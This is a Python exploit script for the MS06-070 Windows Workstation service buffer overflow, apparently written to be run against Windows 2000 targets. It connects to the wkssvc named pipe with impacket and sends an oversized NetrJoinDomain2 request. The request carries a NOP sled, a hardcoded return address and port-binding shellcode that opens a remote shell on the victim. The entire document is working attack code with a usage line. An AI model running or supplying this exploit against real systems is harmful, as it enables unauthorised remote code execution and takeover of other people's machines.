#!/usr/bin/python # MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit # Tested on windows 2000 server SP4 # # Usage: python NetAPI-NetrJoinDomain2.py # Requires a domain controller on the network (configure samba as DC) # Requires python and impacket # # Winny M Thomas ;-) from impacket.dcerpc import transport from impacket import uuid import sys import socket import struct def DCEconnectAndExploit(target, domain): baselen = 3708 stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]" stringbinding %= {'host': target,'pipe': 'wkssvc','port': 445,} print 'Connecting to named pipe (wkssvc)' trans = transport.DCERPCTransportFactory(stringbinding) trans.connect() print 'Setting up DCE transport' dce = trans.DCERPC_class(trans) dce.bind(uuid.uuidtup_to_bin(('6bffd098-a112-3610-9833-46c3f87e345a','1.0'))) print 'Sending attack payload to target' #NetrJoinDomain2 data: Hostname query1 = "\xaa\xbb\xcc\xdd" query1 += "\x07\x00\x00\x00" query1 += "\x00\x00\x00\x00" query1 += "\x07\x00\x00\x00" query1 += "\x5C\x00\x5C\x00" query1 += "\x41\x00\x55\x00" query1 += "\x58\x00\x37\x00" query1 += "\x00\x00\x00\x00" #NetrJoinDomain2 data: Domain/Hostname targetd = '\x00'.join(list(domain)) + '\x00' Len = baselen + len(domain) query2 = struct.pack('L', Len) query2 += struct.pack('L', 0) query2 += struct.pack('L', Len) query2 += targetd query3 = "\x5C\x00\x5C\x00\x76\x00\x90\x90" query3 += "\x90\x90" * 1058 query3 += "\xEB\x06" #6 byte jump from current pointer in ebx query3 += "\x27\x16\xE1\x77" #Address from user32.dll (0x77E11627) #350 byte port binding shellcode query3 += "\x90\x90\x90\x90\x90\x90" query3 += "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73" query3 += "\x13\xe9\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83" query3 += "\x01\xa0\xdc\x31\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2" query3 += "\x5f\xcb\x91\x58\xcc\x45\xa6\x41\xa8\x91\xc9\x58\xc8\x87" query3 += "\x62\x6d\xa8\xcf\x07\x68\xe3\x57\x45\xdd\xe3\xba\xee\x98" query3 += "\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6\x9c\xbc\xa8\x91" query3 += "\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25\xea\x75" query3 += "\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45" query3 += "\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57" query3 += "\xcf\x9e\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc" query3 += "\xb6\x0d\xdc\x1e\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0" query3 += "\xc6\xa8\x68\xb4\x2b\xcc\xbc\x33\x21\x31\x39\x31\xfa\xc7" query3 += "\x1c\xf4\x74\x31\x3f\x0a\x70\x9d\xba\x0a\x60\x9d\xaa\x0a" query3 += "\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f\x7c\x31\x87\xd4" query3 += "\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6\x4d\xf4" query3 += "\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87" query3 += "\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f" query3 += "\x5a\x99\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3" query3 += "\x60\xbc\x49\x9e\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68" query3 += "\xe3\x3d\x43\xa7\x61\xe3\x17\x1b\x0f\x5d\x64\x23\x1b\x65" query3 += "\x42\xf2\x4b\xbc\x17\xea\x35\x31\x9c\x1d\xdc\x18\xb2\x0e" query3 += "\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f\x16\x89\x4b\x63" query3 += "\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e\x62\x0e" query3 += "\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91" query3 += "\xba\xa6\xf5\x31\x39\x59\x23\xce"; query3 += "\x90\x90" * 2467 query3 += "\x00\x00" query3 += "\x00\x00\x00\x00" query3 += "\x00\x00\x00\x00" query3 += "\x00\x00\x00\x00" query3 += "\x00\x00" query3 += "\x01\x00\x00\x00" query = query1 + query2 + query3 dce.call(0x16, query) if __name__ == '__main__': try: target = sys.argv[1] domain = sys.argv[2] except IndexError: print 'Usage: %s ' % sys.argv[0] sys.exit(-1) DCEconnectAndExploit(target, domain)